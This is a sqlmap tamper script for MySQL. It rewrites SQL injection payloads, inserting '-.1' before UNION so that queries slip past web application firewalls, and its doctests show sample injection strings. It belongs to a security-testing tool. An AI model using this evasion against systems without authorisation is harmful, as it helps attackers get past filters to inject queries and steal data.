1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Replaces instances of UNION with -.1UNION
Requirement:
* MySQL
Notes:
* Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf
>>> tamper('1 UNION ALL SELECT')
'1-.1UNION ALL SELECT'
>>> tamper('1" UNION ALL SELECT')
'1"-.1UNION ALL SELECT'
"""
return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload
|
